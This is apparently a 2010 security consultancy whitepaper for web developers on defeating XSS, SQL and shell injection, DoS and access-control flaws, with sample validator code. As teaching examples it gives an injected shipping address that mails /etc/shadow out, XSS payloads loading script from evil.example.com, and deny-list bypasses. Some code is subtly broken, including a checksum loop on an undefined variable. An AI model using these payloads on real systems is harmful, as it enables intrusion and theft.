Secure Web Development Techniques: How to Solve Common Problems Version 0.9

Chris Palmer — chris[at]isecpartners[dot]com

iSEC Partners, Inc
444 Spear Street, Suite 105
San Francisco, CA 94105
https://www.isecpartners.com/

May 5, 2010

Abstract

This article describes techniques web application developers can use to efficiently and effectively resolve several types of severe security vulnerabilities including cross-site scripting, SQL injection, denial of service, and JavaScript hijacking.

1 Introduction

My job is to help software developers assess and improve the security of their applications. Very often, these are web applications. I sometimes find that web developers are unsure about how to conclusively resolve security vulnerabilities such as cross-site scripting (XSS), cross-site request forgery (CSRF), SQL injection, denial of service (DoS), and others. These vulnerabilities can be particularly damaging to an application's users and to the business' operations; worse, resolving vulnerabilities in a "whack-a-mole" fashion is both expensive and ineffective.

My aim in this article is to provide you guidance and specific techniques for approaching tricky security engineering problems, so that you can more easily and cheaply resolve severe vulnerabilities.

Please also note that an updated version of this paper, with information about additional attacks and defenses, will be available soon at https://www.isecpartners.com/publications.html.

1.1 A Note on Performance

Just about every web developer cares about application performance: total requests per second, page load latency (both absolute and user-apparent), backend storage and database I/O load, server CPU load, and so on. And indeed they should care: many (perhaps most!) web applications and sites under-perform and cost their hosts unnecessarily large amounts of money to run.

Developers and managers often use concern for performance as an excuse to stall on deploying necessary security solutions. Such people are misguided for two reasons. First, most security techniques—correctly implemented—have *no measurable impact on performance*. When the impact is measurable, it is rarely significant or in an

application hot spot. Some security solutions actually improve performance. For example, by validating inputs, we can avoid performing expensive processing on data that will ultimately result in a meaningless or malicious effect.

Second, the key phrase is *measurable impact*. Most developers I have met who claim to value performance above all do not, in fact, have quantified performance targets and do not, in fact, actually measure the performance of their application. Some developers I have talked to say that their performance goal is to make the application "as fast as possible!" On further examination, I find that the application sends redundant, uncompressed, 80KiB JSON blobs to the client in answer to every AJAX request. Often, the JSON blobs are populated with the result set of of multiple "`SELECT * FROM ...`" database requests. In such a situation, security can hardly be blamed for poor performance.

I strongly urge web developers to use the YSlow Firefox plugin (`http://developer.yahoo.com/yslow/`) to identify some of the leading causes of poor performance. In my experience, to follow YSlow's advice is more effective at improving performance than disabling or weakening security is.

In any case, there is no effective performance tuning without measurement, and without measurement the claim that security is "too expensive" is baseless.

1.1.1 Performance Is a Security Concern, and Vice-versa

In fact, security engineers care about performance as much as developers and user experience designers. For example, we can think of a denial of service (DoS) vulnerability as "exploitably bad performance". I once found a way to make an application spend over three minutes allocating a string, due to a bug in the application server's memory management algorithm. An attacker could make the application completely unavailable to legitimate users.

However, that same bug meant that legitimate users had been experiencing unnecessarily poor performance all along, even without an attacker actively beating on the system. Solving this bug would eliminate a DoS vulnerability, improve the user experience by significantly speeding up the application, and allow the application developers to handle greater loads without having to buy more hardware.

The algorithms I will talk about in this paper tend to have good or excellent performance. For example, input validation functions are often $O(n)$ in the worst case, with n tightly constrained and low. An allow-list can have performance proportional to $O(\log n)$, and these algorithms rarely if ever incur any additional I/O.

By choosing the right algorithms and data structures, and by careful measurement, we can greatly improve security, performance, and usability. We must not compromise on those crucial benefits before exhausting all the possibilities.

2 Attack Classes

2.1 Injection Attacks

Many web application attack classes, such as XSS, SQL injection, shell command injection, and buffer overflow boil down to the attacker's ability to inject code (be it JavaScript, SQL, shell script, or binary machine code) in a place where the application was expecting data. Depending on the context, exploiting such vulnerabilities can give the attacker varying degrees of power over various assets, but in general these vulnerabilities are maximally severe because the attacker's control over the assets is unconstrained.

For example, an XSS exploit gives the attacker full control over what the server says to the client and to the user, and it also gives the attacker full control over the user's communications to the server. Once the attacker has

this power, no asset that the application manages—money, a user's or a company's reputation, information that people depend on being accurate, et c.—is safe.

Similarly, SQL injection attacks give the attacker great power over the contents of the database. Worse, since most DBMSs have a shell execution feature, the attacker is also likely to be able to use a SQL injection vulnerability to execute arbitrary shell commands on the server.

The key to resolving all of these vulnerability classes is to ensure that the applicaton never interprets user input as any kind of code. How specifically to do that is one of the main topics of this article.

2.2 Denial of Service

Another key vulnerability class is denial of service (DoS). Although "unsexy" from a technical perspective, DoS attacks can be devastating to users and to the business. They are often the number one internet threat that businesses care about.

Unfortunately for defenders, "unsexy" basically means "too easy".

Any kind of asymmetry in resource requirements is a potentially DoS-able condition. The greater the asymmetry, the greater the vulnerability. We seek to discover and reduce these asymmetries[1].

The kind of DoS vulnerability I mean is not the distributed DoS (DDos) attack that occurs at the network layer, but applicaton layer attacks such as memory, CPU, or bandwidth exhaustion due to grossly non-performant or unconstrained application code. Application DoS is usually much easier to perform and more effective than network DoS. The attacker need not control a botnet to exploit it: often, a single client can bring down an entire server cluster.

Fortunately, unlike with network DoS, it is very possible to defend against application DoS. The solution lies in choosing good algorithms and data structures, and in limiting the resources any one request or any one client can force the server to use.

DoS conditions arise when an application is unnecessarily non-performant, or when it multiplies the size of its inputs. For example many applications are flooding the connections to their backend databases or file servers. If an attacker can find a way to cause the frontend to talk to the backend more, such as by running queries that create huge result sets or by saving and then requesting a huge file many times, a DoS condition is present. File upload functionality in particular is a common area of concern, and requires you to set reasonable limits. Profiling and tuning the backend communications can pay dividends, too.

Another kind of example is when an application multiples the size of its inputs. For example, consider an output transformation such as PHP's *htmlspecialchars*. It can turn one byte, the double quote, into six: "`&quot;`". What if an attacker supplies 10 MiB of quote characters, and the application transforms it into 60? What about 100 MiB of quotes?

It might seem like the security solution—the output transformation—is causing the problem. But really, the solution is simply incomplete. You need to also validate that the input is no larger than a size your system can cope with multiplying in the worse case. For example, if you set a limit that blog comments cannot be larger than 10 KiB, then the application will never expand the input beyond 60 KiB, which is perfectly reasonable. The application still has good functionality, and is also safe against this instance of DoS.

Another approach is to limit the resources the server process can chew up. For example, you might limit any request handler from running for more than 10 seconds (an eon in CPU time), and from eating more than 20 MiB of RAM. PHP, for example, comes with configuration parameters that let you set limits like these. Use them!

[1]Note that there are DoS conditions in which there is not an asymmetry. Consider an application that can be convinced to allocate 2 GiB of RAM, but the attacker is required to send the server the 2 GiB of data! Although this attack may indeed knock the server down, it is usually not an effective use of developer time to defend against such weaknesses. It is the egregious asymmetries that we seek to resolve.

2.3 Authentication and Authorization Bypass

Most applications that support the notion of multiple distinct users or accounts (called *principals* in the security literature) also try to enforce limits on cross-principal access to assets. For example, Alice should generally not be able to read Bob's email, nor to send email as him.

There may be multiple layers of hierarchy in user accounts. For example, many application service providers (ASPs) or cloud computing providers operate "multi-tenant" services, in which there is a one-to-many relationship between servers and customers ("tenants"), and a one-to-many relationship between customers and user accounts. Usually, the provider runs many servers, tenant application instances can move from server to server, and any one server hosts many tenants at a time.

Now the application must enforce cross-tenant access control as well as cross-user access control. Very often, users in the same organization may share their assets on a discretionary basis, meaning that the application must do extra work to allow only intended sharing. Sometimes, customers may want to share data between themselves while still maintaining some access control.

In any access control system, but espcially in a complicated situation like this, it is *crucial to develop access control into the application framework*. The access control mechanism must be applied equally on every request.

That might seem obvious—or it might not. In my experience, developers are often tempted to apply access control mechanisms in an ad hoc manner. For example, they might code up an access check like the following:

```
def check_document_access(document_id, user_id):
      results = db.query("select author from documents where document.id = ?",
                         document_id)

      if not results:
            raise NoSuchDocument(document_id)
      if len(results) > 1:
            raise CannotHappen("Multiple documents with ID " + document_id)

      # Get the first column of the first row.
      author = results[0][0]

      if author != user_id:
            raise AccessDenied(user_id + " cannot access document " +
                               document_id)
```

The programmer then adds this code to every request handler where "it seems necessary." They might add the code either by copying and pasting the code into the request handlers, or by putting it in a function in a library and then calling the function in the handlers.

(While I'm sure *you* would never do this, I regularly see copy/paste and ad hoc library calling in production code for large, important applications.)

Although it might work OK at first, code like this tends not to age well, for several reasons.

1. What if the programmer simply forgot to apply the check in an important request handler? It is too easy to make this mistake, and I have observed it in real code many times.
2. Assume Emily Engineer got it right, and applied the code in all relevant request handlers. What about when she moves on to a new project, and a new developer takes over maintenance? Will this developer get it right in every new request handler they create?

   I have audited many applications with hundreds or even thousands of pages, API methods, or other entry points. Often, even in such large applications, the code does indeed include ad hoc code, explicit calls to library functions, or even both. Implicit, automatic checks are actually rare. In such tests, I can't be sure that my team and I have found all the gaps in the application's access control.

3. With copying and pasting, there is a very high chance that the copies of the code will diverge over time. Developers will change the code's behavior (perhaps to fix bugs), but will not change every copy of the code.

   Just as you might normalize your database (http://en.wikipedia.org/wiki/Database_normalization) to avoid inconsistencies, you should normalize your code to avoid inconsistencies.

4. Consider error handling. The function *check_document_access*, as plausibly defined above, raises three type of exceptions for three different reasons: there is no such document, there is more than one document with the same ID, and finally the real reason for the function's existence: that the requesting user is not permitted to access the document. The interface for this function is overcomplicated: it shows poor *separation of concerns*.

   In a sense, this is another example of non-normalized code. The checks to see whether the document exists and whether a runtime invariant has been violated might well belong in separate functions because they are certain to be needed in more than one place.

Access control mistakes can be fatal vulnerabilities. After all, it can threaten the viability of the entire cloud service model, and responsible cloud providers are focusing strenuous effort on resolving such vulnerabilities.

The only way to thoroughly defend against access control bypass attacks is to design and implement an access control system that is *universally applied to all requests*, and *easy to prove is universally applied*. Having a good audit log (possibly visible to users) is also a necessary feature.

3 Input Validation

The first step in developing a secure application is to create an input validation framework. The developers must know the expected range for all types of input the application accepts, and must ensure that the appliation does not inappropriately act on inputs outside the expected range.

First, consider what might happen if an online shopping application placed no constraints on shipping addresses. Inevitably, some wacky user would provide something like this as their shipping address:

```
Name: Robert O';DROP TABLE customers;--
Address: 123 Fake St || mail badguy@mailinator.com < /etc/shadow
Address: Suite NaN
City: <h1 onmouseover="document.innerHTML='Hacked!'">Fakeville
State: alert(document.cookie);
Zip Code: I like candy
```

For an application that accepts such a mailing address, the *best* case is for the warehouse management system to accept the transaction, print the mailing label, and send the order to warehouse staff. Hopefully, the staff will notice that the mailing label is crazy, and bounce the order back up to customer support. If you're not so lucky, they'll mistakenly mail the package, and the postal service will refuse delivery and send it back to the warehouse. The warehouse will again bounce it back to customer support.

There goes any profit margin on the sale.

That's the best case. The worst case would be if any of those code injection attempts actually worked!

Without input validation, your business is entirely dependent on the kindness of strangers. There can be no guarantee of correct business logic or meaningful reporting—let alone safety against the kinds of active attack that are rampant on the internet.

Input validation can effectively thwart the various classes of code injection attacks, such as XSS, SQL injection, shell injection, arbitrary redirect, HTTP response splitting. Input validation is so important that I think it's fair

to say that if you can only afford to implement one security technique, let it be input validation!

3.0.1 Allow-lists and Deny-lists

An *allow-list* (also *whitelist* or *known-good list*) is a list of inputs known to be correct. ("Correct" includes "safe".) Although we call them "lists", we do not usually implement them as linked lists for performance reasons—the application will normally require fast tests for set membership when handling many inputs at high speed. For this reason, we tend to use data structures such as hash tables (variously called "dictionaries", "hash maps", "associative arrays" in various programming languages), trees, sorted arrays, and regular expressions when implementing allow-lists. Consider this Python example:

```
# allow-list of known-good action names:
ActionNames = {
      "create-account"    : True,
      "delete-account"    : True,
      "buy-stuff"         : True,
      "sell-stuff"        : True,
}

# We could also implement it as a Python set:
ActionNames = set( (
      "create-account",
      "delete-account",
      "buy-stuff",
      "sell-stuff",
) )

# Testing to see if an input is in the allow-list is easy:
if parameters["action-name"] not in ActionNames:
      raise ValueError("action-name")

# It is now safe to process the action...
```

Regular expressions also make good allow-list implementations—as long as the expression is not over-inclusive!

```
# This is too inclusive, because it would allow e.g. "---()"!
#PhoneNumberPattern = re.compile(r"^[\d\s\(\)-]+\$")

# This is better:
PhoneNumberPattern = re.compile(r"^(\d{3}|\(\d{3}\))\s*\d{3}\s*-?\s*\d{4}")

# Again, testing to see if an input is in the allow-list is easy:
if not PhoneNumberPattern.match(parameters["phone-number"]):
      raise ValueError("phone-number")

# It is now safe to process the phone number...
```

Often, you can simplify input validators by *canonicalizing* (or *normalizing* inputs before validating them.

A *deny-list* (also *blacklist* or *block-list*) is the inverse: Rather than a set of acceptable inputs, it is a set of unacceptable inputs.

Developers often try to use deny-lists to implement a protection mechanism, because it seems easier at first. If attackers have been exploiting an XSS vulnerability with a payload such as

```
555-1234"><script src="http://evil.example.com/bad.js"></script>
```

in the *phone-number* field, it may seem easy at first to simply block the obvious bad pattern:

```
BadPhoneNumberPattern = re.compile(r"<script", re.IGNORECASE)
if BadPhoneNumberPatter.search(parameters["phone-number"]):
      raise ValueError("phone-number")
```

However, deny-lists are rarely effective. The attacker can almost always (and usually very easily) reformulate the attack payload to avoid the deny-list yet still be effective:

```
555-1234"><scr%00ipt src="http://evil.example.com/bad.js"></script>

555-1234" onmouseover="evilFunction()"

555-1234onmouseover="document.write('<sc' + 'ript src=http://evil.example.com/bad.js></script>')">
```

Yes, Internet Explorer will accept the *NUL* character in the middle of the tag name "script". We could add that pattern to the deny-list, but do we really have any chance of enumerating all the other odd, potentially-exploitable quirks in every browser? Of course not.

Thus, it is much easier to enumerate the valid inputs than to enumerate the invalid inputs. The set of inputs is infinite, while the set of valid and meaningful inputs is very small indeed. (The valid set may also rarely be infinite, but of a smaller order of infinity. We can effectively express these allow-lists with regular expressions and, sometimes, more complex grammars.)

3.1 Session Management

Managing authenticated user sessions correctly and safely is surprisingly difficult. Most web application frameworks include a more-or-less strong and feature-complete session management mechanism, but configuring and using it correctly can sometimes be tricky.

However, very often, I audit applications with custom session management mechanisms. There is rarely a good reason to do this, and developers rarely anticipate all the potential pitfalls.

I have written another article, "Secure Session Management With Cookies for Web Applications" (https://www.isecpartners.com/files/web-session-management.pdf) that covers many of the security concerns for session management. Another crucial resource is my colleague Jesse Burns' article on cross-site request forgery (CSRF), https://www.isecpartners.com/files/CSRF_Paper.pdf.

3.2 Storing Sensitive State in the Client

Sometimes architects or developers want to store sensitive data that the server will depend on on the client side (for example, in a cookie, Web Storage, DOM Storage, or a hidden form field).

Perhaps surprisingly, this can make sense in some cases. For example, consider a huge application with ten million concurrent users on average. Scaling the application to this size is difficult; just consider the number of hits against the session database alone. Clearly, a naive deployment strategy with a single session database will not work: the DB will simply fold under the load. One approach is to move the session DB to or near the edges; perhaps each application server has its own session DB, and sessions are "sticky" (clients are always directed back to the same application server).

Another approach is to push the session state out to the client, and not use a database at all. For example, perhaps the user's cookie contains a serialized *Session* object. Suddenly an entire server-side component simply goes away, and sticky load-balancing is no longer necessary. Now, any server can handle any request in any session and have all it needs to know about the session on-hand. This solution can lead to higher reliability, simplicity, and performance.

However, there are some obvious security problems here. What if the *Session* object contains some information we don't want the user to see? Users can always inspect the contents of their cookies (and any data we send to the client), so we have to have some way of dealing with this.

The usual answer is to use encryption: when we encrypt the data, the user will see only indecipherable garbage. Only the server, which holds the secret key, can decrypt the data back into a meaningful form. We call this security property *confidentiality*.

There are some pitfalls with encryption, such as weak keys, poor key management, and using the wrong block cipher mode; but first I will mention a more immediate concern: Just because the user cannot decrypt the ciphertext does not mean they cannot tamper with it.

Some developers have told me they assumed that if the ciphertext were damaged or tampered with, that it would fail to decrypt at all, and they could thus detect the problem and deal with it. In fact, that is not what happens: the decryption function has no idea what the ciphertext or the plaintext are "supposed" to look like. After all, if it did, it would not need to perform any work to decrypt the text!

The decryption function is blind: it simply transforms ciphertext into plaintext, with no understanding of what a ciphertext or the corresponding plaintext should look like. Consider this trivial encryption program:

```
import javax.crypto.Cipher;
import javax.crypto.SecretKey;

import javax.crypto.SecretKey;
import javax.crypto.KeyGenerator;

import java.security.Security;


public class IntegrityDemo {

      public static final String BLOCK_CIPHER = "DES/ECB/NoPadding";

      private static byte [] encrypt(int mode, byte [] data, SecretKey key)
            throws Exception
      {
            Cipher cphr = Cipher.getInstance(BLOCK_CIPHER);
            cphr.init(mode, key);
            return cphr.doFinal(data);
      }

      public static String hexEncode(byte [] bytes) {
            StringBuilder sb = new StringBuilder();
            int sz = bytes.length;

            for (int i = 0; i < sz; i++)
                  sb.append(String.format("%02x ", bytes[i]));

            return sb.toString();
      }

      public static void main(String [] args) throws Exception {
            KeyGenerator g = KeyGenerator.getInstance("DES");
            g.init(56);
            SecretKey k = g.generateKey();

            byte [] data = "01234567".getBytes("UTF-8");
            System.out.println("                  plaintext  " + hexEncode(data));

            byte [] cphrTxt = encrypt(Cipher.ENCRYPT_MODE, data, k);
            System.out.println("                 ciphertext  " + hexEncode(cphrTxt));
```

```
            byte [] plnTxt = encrypt(Cipher.DECRYPT_MODE, cphrTxt, k);
            System.out.println("        decrypted ciphertext  " + hexEncode(plnTxt));

            cphrTxt[0] += 1;
            System.out.println("          mangled ciphertext  " + hexEncode(cphrTxt));

            plnTxt = encrypt(Cipher.DECRYPT_MODE, cphrTxt, k);
            System.out.println("decrypted mangled ciphertext  " + hexEncode(plnTxt));
      }

}
```

Listing 1: IntegrityDemo.java

Here is its output:

```
C:\Users\chris\Desktop\secure-web-techniques>java IntegrityDemo
                   plaintext  30 31 32 33 34 35 36 37
                  ciphertext  3e 20 11 37 49 68 ef c5
        decrypted ciphertext  30 31 32 33 34 35 36 37
          mangled ciphertext  3f 20 11 37 49 68 ef c5
decrypted mangled ciphertext  e2 9d d0 f3 39 4c f6 6f
```

Note that when we mangled the ciphertext by adding 1 to the first byte (in this case, $3e + 1 = 3f$), the resulting plaintext is completely different than what it should be.

In order to achieve the property of *integrity*, we must do something different than encryption: we use a *message authentication code* (MAC). A MAC takes two inputs: a secret key (this should be different than the encryption key) and the message to authenticate. It outputs a pseudo-random string. We concatenate the MAC string with the message itself.

Later, when accepting the message from the client once again, the server re-calculates what the MAC should be, and if it does not match the MAC supplied by the client with the message, then we know the message has been damaged.

Only the server has the secret key, and MAC functions have the property that it is computationally infeasible to create a valid MAC for a given message without also possessing the secret key. It is by this means that we can guarantee that nobody has tampered with the message if the MAC checks out.

For more information on encryption, integrity protection, and general cryptographic wisdom, see *Cryptography Engineering* by Niels Ferguson, Bruce Schneier, and Tadayoshi Kohno. In particular, they will advise you not to use the bad cipher (DES) and cipher block mode (ECB) that I did in IntegrityDemo.java. I used them only to simplify the demonstration.

3.2.1 The *SafeSeal* Library

To demonstrate how to combine encryption and integrity protection, I present *SafeSeal*, a library to "seal" data. The static methods *SafeSeal.seal* and *SafeSeal.unseal* are ready-to-use directly. They provide guarantee os confidentiality, integrity, and "freshness" (is the sealed blob younger than a certain maximum age). The technique behind *SafeSeal* is described in "Secure Session Management With Cookies for Web Applications". The code is included in the SafeSeal directory in the package that contained this article. It is also reproduced in Appendix B.

Note crucially that this library cannot, by itself, defend against *replay attacks*. In a replay attack, the attacker captures a message as it transits over the network, and then sends it to a protocol participant again later ("replays" it) in an attempt to re-invoke the action again.

In some circumstances, such a replay could be very damaging. For example, consider a message like "sell catalog item #123 to customer Jane Doe for 100 dollars". If an attacker replayed such a message 1,000 times and if the

server believed the message every time, Jane Doe is going to have a very angry conversation with your customer service when she gets the bill. Because the message will unseal correctly—within the freshness date, it is as good the 1,000th time as it was the first—the server has no way to know it is a replay.

To prevent replay, the message recipient must keep some kind of state. For example, you could add an additional item in the message itself, such as a transaction number: the message might take the form, "sell catalog item #123 to customer Jane Doe for 100 dollars, persuant to authorization code 91843523464." When processing the transaction, the server will record this transaction in its database. If it ever receives the message again, whether by accident or by replay attack, it will check the transaction database, see that this transaction number has already been used, and refuse to commit another identical transaction. Because the message is sealed, the attacker cannot forge a new transaction number. (The attacker cannot forge any part of the message, in fact. Our MAC ensures that.)

3.3 XSS

Cross-site scripting (XSS) is a special, particularly prevalent and damaging type of code injection attack in which an attacker is able to provide HTML and JavaScript (and don't forget VBScript!) code to an application, and have the application echo the code back in a page. The attacker's goal is to get their code interpolated into a page some other user sees.

The attacker thus gains full control over

- the information—text, code, and media—that the server sends to the other user;
- the user's session and interaction with the application; and
- any client-side native code the application has access to, such as ActiveX controls.

For some reason, many developers and even security experts do not consider this a bad thing. The attacker does not gain control over the server, but they control all the inputs and outputs to and from the application—it is like hiring the attacker to be your lead developer. Anything the user can do with the application, and anything the application can do with the user's data and with its own data, the attacker can do with an XSS exploit.

3.3.1 An XSS Example

Consider an exploitable application:

```
<form id="trade" method="POST" action="/trade">

<p>Stock to buy: <input type="text" name="symbol" />

<p>Number of shares to buy: <input type="text" name="shares" />

<p><input type="submit" value="Buy now!" />

</form>

<p>Current price of <?= $_GET['symbol'] ?>:
<?php
    // get price...
?>
```

This is called *reflected XSS*. Normally, the *symbol* parameter is something innocuous like "AAPL". Unfortunately, as written, an attacker can craft a link containing arbitrary HTML, JavaScript, or VBScript for the parameter, and if they can get a victim to follow the link (or force the victim's browser to follow it), that code will execute in the context of the victim's session with the application. Consider the result of following this link:

```
https://example.com/home?symbol="><script>document.getElementById('trade')...</script>
```

3.3.2 Solving XSS

Unfortunately, XSS remains extremely common, even in high-profile, sensitive applications. This is because developers tend not to understand the nature of the attack, and do not implement comprehensive, application-wide defense. Let's fix that.

There are two primary ways to solve the problem: input validation and output transformation. Like all code injection attacks, XSS happens when the application allows a range of inputs that includes executable code in some language (JavaScript and HTML, in this case) and then applies the input in a context where a machine will execute the code.

Thus, we can solve the problem either by reducing the range of inputs to exclude executable code, or we can refuse to output the data in an executable context. We can also do both, for defense in depth.

3.3.3 Input Validation

Input validation suffices to eliminate a wide range of XSS vulnerabilities (although, as I discuss below, there are some that you cannot completely handle in this way.) For example, we know all the valid stock ticker symbols. Why allow arbitrary text, let alone arbitrary JavaScript code, in the *symbol* parameter? Asserting that the value of *symbol* is in the allow-list of the known-good symbols, or asserting that it matches a limited regular expression, would allow us to completely avoid any XSS attack here. It would also stop any chance of most other code injection attacks, such as SQL injection and memcached injection.

3.3.4 Output Transformation

Another approach to the problem is to transform the parameter value before echoing it back to the page. For example, by transforming angle brackets and other HTML metacharacters into the equivalent HTML entities (e.g. '<' → '`<`'), we can "defang" any attack payload. A simple PHP version of this technique looks like this:

```
<p>Current price of <?= htmlspecialchars($_GET['symbol']) ?>:
```

This technique can be very effective, and in some cases can be easier to apply in the short term, while you are developing your comprehensive input validation system.

However, there is a crucial pitfall: the technique does not work if you transform the data in such a way that it can still execute in the context in which it is output. An output transformation that works perfectly well for text in an HTML document might not work for text in an HTML tag attribute, in JavaScript or JSON code, in SQL queries, or in shell scripts, and so on. Consider this note from PHP's *htmlspecialchars* documentation (http://us.php.net/htmlspecialchars):

> The optional second argument, *quote_style*, tells the function what to do with single and double quote characters. The default mode, *ENT_COMPAT*, is the backwards compatible mode which only translates the double-quote character and leaves the single-quote untranslated.

Thus, this code would still be vulnerable:

```
<input type='text' name='symbol'
      value='<?= htmlspecialchars($_GET['symbol']) ?>' />
```

3.3.5 Input Validation and Output Transformation Are Complementary

It can often make sense to apply both input validation and output transformation, for defense in depth. Combining the techniques works especially well in cases where the input validation policy has changed over time, and you want to allow old inputs (perhaps those stored in the database) to still work.

For example, if you resolve a bug by making your input filter more strict, it can help to defang old attack payloads stored in your database by transforming them for the output context. (In such a case, also log when the output transformation actually has an effect, i.e. when input $\neq$ transform(input), because that might mean you caught an attack!)

3.3.6 When You Must Accept HTML

There are of course times when you want to allow users to input HTML, and yet you do not want to give them complete control over your application. Examples include web-based email applications and blog comment systems. Input validation would seem not to work—we can't ban HTML like usual—and output transformation would defeat the purpose.

There are a few options in a case like this. First, you could allow not HTML but instead another, non-JavaScript-including markup system such as Markdown (http://daringfireball.net/projects/markdown/) or wiki text (http://en.wikipedia.org/wiki/Wikitext).

That won't work for a webmail application, in which users expect to see the rendered HTML from HTML emails. Therefore, we have to do something different: transform arbitrary HTML into a limited subset of HTML. This is both easy and hard: On the one hand, we can use our favorite language's HTML parsing library to implement an allow-list of HTML tags, tag attributes, and tag attribute values. Doing this is relatively easy, and I show some demonstration code in Appendix C.

On the other hand, parsing arbitrary HTML is incredibly hard, and chances are there is at least one bug in your language's HTML parsing library! Although that's not your fault, it can be your problem. Therefore, you may need to spend some time fuzzing and attacking the library, and submitting bug reports and patches upstream to the open source developers or to the vendor.

Setting the actual input validation policy is not difficult with the common event-oriented HTML parsing libraries present in most programming languages. My example is in Python, but I have also written and seen equivalent code in Ruby, PHP, Java, and Perl. The key is to refer to an allow-list that allows safe HTML tags such as h1–h5, p, br, and em when handling the new tag event. The allow-list does not include obviously dangerous tags like script, embed, and object.

Also use an allow-list of tag attributes when handling the new attribute event. For example, the style attribute is dangerous, because attackers can provide CSS and JavaScript here. There are also an incredibly large number of JavaScript event handlers—don't try to deny-list them, use an allow-list.

If you allow tags like img and a, be sure to validate the value of the href and src attributes—for example, you might require that URLs use the http:// and https:// schemes, and not the data: or javascript: schemes. You might even require that URLs only point into, or out of, your own domain.

4 Conclusion

Hopefully I've convinced you that you can successfully address even the most vexing security problems, with a little creativity and by putting the defensive code in the right place: in the very core of the application, not in the edges. Security mechanisms should be performance-neutral or performance-improving, and they should save you money and pain.

A An Input Validation Framework for PHP

This library presents an extensible data normalization and validation framework with a simple interface.

There are two distinct but related concepts:

- Normalization: Different representations of equivalent data can be reduced to a "normal" form. For example, a credit card number in which each group of four digits is separated with spaces or dashes is equivalent to the same number with no spaces or dashes. A normalization function ("normalizer") takes non-normal input and returns normal input. In the case of credit cards, we might define the normal form to be the one with no spaces or dashes.
- Validation: For a given purpose, some data is valid, and some is not. This is distinct from normalization: No matter how we transform it, a phone number can never work as a credit card number. A validator is a function that tells us if its input is valid or not.

In this library, the validators perform normalization before validation. If all goes well, they return the normal form of their input; if the input is hopelessly invalid, the validators throw *InvalidDataException*. This is good because invalid data has no hope of getting through.

If you catch and ignore *InvalidDataException*, that's your own fault. The best practice is to install a generic handler at the top of the call tree that simply logs exceptions and prints a generic error message to the user. Read those logs! They are full of information about bugs in your code, and also threat intelligence (how are people trying to attack you today?).

The validate function is the primary entry point in this library. Given an associative array of parameter names → parameter values, it creates a new array containing the normalized forms of all parameter values. It fails as soon as any input is found to be bad.

Currently, there are only a few validators, and they all do their normaliation internally. But this should give you an idea how to create a complete suite of validators (a "data dictionary") for your applications.

```
<?php

/**
 * Thrown if a data value failed its validation test.
 */
class InvalidDataException extends Exception { }


/**
 * Thrown if a datum is present for which there is no validator.
 */
class InvalidKeyException extends Exception { }


/**
 * TODO: document this
 */
function validateEmail($v) {

      // TODO: See http://www.linuxjournal.com/article/9585. Note that this
      // complete definition of email addresses may be overkill for your
      // purposes, but also note that addresses like n@ai are valid,
      // routable internet email addresses.

}


/**
```

```
 * @param $v A user ID to normalize and validate. A valid user ID is a
 * string containing 1 or more decimal digits.
 *
 * @return A normalized copy of $v.
 *
 * @throws InvalidDataException if $v could not be normalized or validated.
 */
function validateUserID($v) {
      $v = trim($v);
      if (1 != preg_match('/^\d+$/', $v))
            throw new InvalidDataException('validateUserID: ' . $v);
      return $v;
}


/**
 * @param $v A credit card number to normalize and validate. For validation,
 * the mod 10 function is applied, as well as matching the number prefix and
 * the number length for each brand of card.
 *
 * @return A normalized copy of $v.
 *
 * @throws InvalidDataException if $v could not be normalized or validated.
 */
function validateCreditCardNumber($v) {
      $v = ereg_replace('[^0-9]', '', $v);

      $ln = strlen($v);
      if ($ln < 13 || $ln > 16)
            throw new InvalidDataException('validateCreditCardNumber: ' .
                                           $v . ' bad length');

      $prfx1 = substr($v, 0, 1);
      $prfx2 = substr($v, 0, 2);
      $prfx3 = substr($v, 0, 3);
      $prfx4 = substr($v, 0, 4);

      if ($prfx2 >= 51 && $prfx2 <= 55) {
            if (16 != $ln)
                  throw new InvalidDataException('validateCreditCardNumber: ' .
                                                 $v .  ' invalid MasterCard');
      }
      elseif (4 == $prfx1) {
            if (13 != $ln && 16 != $ln)
                  throw new InvalidDataException('validateCreditCardNumber: ' .
                                                 $v .  ' invalid Visa');
      }
      elseif (34 == $prfx2 || 37 == $prfx2) {
            if (15 != $ln)
                  throw new InvalidDataException('validateCreditCardNumber: ' .
                                                 $v .  ' invalid American Express');
      }
      elseif (36 == $prfx2 || 38 == $prfx2 || ($prfx3 >= 300 && $prfx3 <= 305)) {
            if (14 != $ln)
                  throw new InvalidDataException('validateCreditCardNumber: ' .
                                                 $v .  ' invalid Diners Club');
      }
      elseif (6011 == $prfx4) {
            if (16 != $ln)
                  throw new InvalidDataException('validateCreditCardNumber: ' .
                                                 $v .  ' invalid Discover');
      }
      elseif (3 == $prfx1 || 1800 == $prfx4 || 2131 == $prfx4) {
            if (15 != $ln && 16 != $ln)
                  throw new InvalidDataException('validateCreditCardNumber: ' .
```

```
                                                $v .  ' invalid JCB');
        }
        else
                throw new InvalidDataException('validateCreditCardNumber: unknown type '
                                                . $v);

        // Compute mod 10 checksum.
        $rv = strrev($v);
        $chksm = 0;

        for ($i = 0; $i < $ln; $i++) {
                $c = substr($cardNumber, $i, 1);

                if (1 == $i % 2)
                        $c *= 2;

                if ($c > 9) {
                        $x = $c % 10;
                        $y = ($c - $x) / 10;
                        $c = $x + $y;
                }

                $chksm += $c;
        }

        if (0 != ($chksm % 10))
                throw new InvalidDataException('validateCreditCardNumber: ' .
                                                $v . ' fails mod 10 checksum.');

        return $v;
}


/**
 * @param $v An iPhone IPID (UDID) to normalize and validate. A valid IPID
 * is a string of 40 hexadecimal digits. This function allows the digits to
 * be upper- or lowercase, but normalizes to lowercase.
 *
 * @return A normalized copy of $v.
 *
 * @throws InvalidDataException if $v could not be normalized or validated.
 */
function validateIpid($v) {
        $v = strtolower(trim($v));

        if (1 != preg_match('/^[\da-z]{40}$/', $v))
                throw new InvalidDataException('validateUserID: ' . $v);

        return $v;
}


/**
 * @param $v The value to compare to the known-good list of values in
 * $whitelist. Before checking against $whitelist, $v will be normalized
 * with trim.
 *
 * @param whitelist The list of known-good values.
 *
 * @return A normalized copy of $v.
 *
 * @throws InvalidDataException if $v could not be normalized or validated.
 */
function validateWhitelist($v, $whitelist) {
        $v = trim($v);
```

```
	if (! array_key_exists($v, $whitelist))
		throw new InvalidDataException('validateWhitelist: ' . $v);

	return $v;
}


/**
 * @param $items The items to validate.
 *
 * @param $validators An associative array mapping keys to validation
 * functions ("validators"). For each key in $items, we call its associated
 * validation function with the key's value as the argument to the
 * validator.
 *
 * @param $tolerant Whether or not to ignore keys in $items that lack an
 * associated validator un $validators.
 *
 * @return An associative array of the normalized and validated values,
